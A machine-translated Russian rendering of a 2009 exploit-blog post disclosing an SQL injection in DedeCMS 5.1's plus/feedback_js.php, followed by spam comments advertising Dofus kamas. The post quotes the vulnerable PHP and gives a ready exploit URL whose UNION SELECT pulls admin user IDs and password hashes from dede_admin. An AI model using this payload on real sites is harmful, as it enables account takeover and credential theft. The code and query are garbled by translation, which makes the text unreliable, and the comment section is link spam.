DEDECMS 5,1 feedback_js.php 0day-0day, DEDECMS, DEDECMS 5.1 feedback_js.php, раствор для инъекций, st0p-блог

DEDECMS 5,1 feedback_js.php 0day

Эта запись была размещена на 11 октября 2009

Автор: st0p Rainy'Fox
Воспроизводится укажите источник: http://www.st0p.org http://bbs.erpangzi.com/

Эта уязвимость найдена и Rainy'Fox также доступна в случае magic_quotes_gpc = OFF

Уязвимость версии: Статьи Кондо 5,1
Это может быть использовано для получения учетной записи администратора в фоновом режиме и шифрования хэша, существуют лазейки файл плюс / feedback_js.php, нефильтрованное параметры $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) если (пусто ($ arcID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; Строка $ = $ DList -> dsql -> GetOne ("SELECT ID С` # @ __ cache_feedbackurl `, где url = '$ arcurl");
        / / Здесь $ arcurl без фильтра
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; если (is_array ($ строка)) $ urlindex = $ строки ["ID"];
       / / Представление результатов положить $ urlindex назначения для запроса на $ строки ["ID"], мы можем построить SQL заявления в следующих операционных
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; если (пусто ($ arcID) && пустой ($ urlindex)) выход ();
 / / Если $ arcID пуст или $ urlindex пустой выход
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; если (пусто ($ arcID)) $ WQ = "urlindex = '$ urlindex";
 / / $ ArcID пуст, только над результатами реализации будет назначен до $ WQ в следующих операций.
 = " aid=' $arcID ' " ; еще $ WQ = "помощь = '$ arcID";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ Строк запросов = "SELECT * FROM` # @ __ обратной связи `, где $ WQ и ischeck = '1 'заказ DTIME по убыванию";
 Init ( ) ; $ DList -> Init ();
 SetSource ( $querystring ) ; $ DList -> SetSource ($ строку запроса);
 ......

Обратите внимание на использование, эй, закрытый я использую два союза

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'UNION SELECT "и 1 = 2 UNION SELECT 1,1,1, идентификатор пользователя, 3,1,3,3, инвалидов, 1,1,3 , 1,1,1,1,1 от dede_admin где 1 = 1, объединение SELECT * FROM dede_feedback где 1 = 2 и'' = '"от dede_admin где'' ='

Увы, даже и Rainy'Fox этот парень, чтобы найти цель испытания, когда на самом деле он сказал может в magic_quotes_gpc = о том, когда через .... эта идея слишком Ю.Д. .. слишком страшным, чтобы действительно достичь этой сектор сети должны хаос, многие программы по умолчанию в PHP magic_quotes_gpc выключена, будем называть свою часть побега ... вы действительно можете добиться, чтобы это кошмар PHP программа ...

· Узнайте, боевые искусства коды

348 Ответов на "DEDECMS 5,1 feedback_js.php 0day"

По хостинг на 19 ноября 2009 | Ответить
зело intiresno, Hvala
По AKfour семь на 1 декабря 2009 | Ответить
Я стою здесь сегодня унижен задача, стоящая перед [url = http://www.bawwgt.com] Dofus Kamas [/ url], благодарен за доверие, которое Вы даровали, памятуя о жертвах, принесенных нашими [url = http:/ / www.bawwgt.com] порно Kamas Dofus [/ URL]. Я благодарю президента [url = http://www.bawwgt.com] Dofus власти выравнивания [/ url] за его услуги [url = http://www . bawwgt.com] купить Dofus Kamas [/ url], а также за его великодушие и сотрудничество на протяжении всего периода.
По wsewtoexg на 3 декабря 2009 | Ответить
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [ссылка = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ ссылка], http://njofsuttytxm.com/
По Tedy на 5 декабря 2009 | Ответить
Только 34 дней до DOFUS 2.0! 2 декабря будет здесь прежде, чем мы знаем [url = http://www.bawwgt.com/fr] Dofus Kamas [/ URL]. В [url = http://www.bawwgt.com / FR] Dofus Kamas moins chers [/ URL] каждый игрок откроет совершенно новые DOFUS опыта. [url = http://www.bawwgt.com/fr] Acheter де Dofus Kamas [/ url] должны быть довольны отчеты и форумах. Тем не менее [url = http://www.bawwgt.com/fr] ACHAT Dofus Kamas [/ URL], там ¡ ¯ всегда есть несколько наших дорогих игроков на форумах.
По Страттера купить на 13 декабря 2009 | Ответить
это прохладно новость. Спасибо.
По Seengart на 14 декабря 2009 | Ответить
да ... информативный стиль ..
По Наташа-сети на 16 декабря 2009 | Ответить
Vdaka дза zaujimavy блог
По ConradSimone на 8 марта 2012 | Ответить
Что ж, это очень интересно indeed.Would люблю читать немного больше об этом. Полюбуйтесь ценную информацию, вы предлагаете в своих статьях.
Конрад Симоне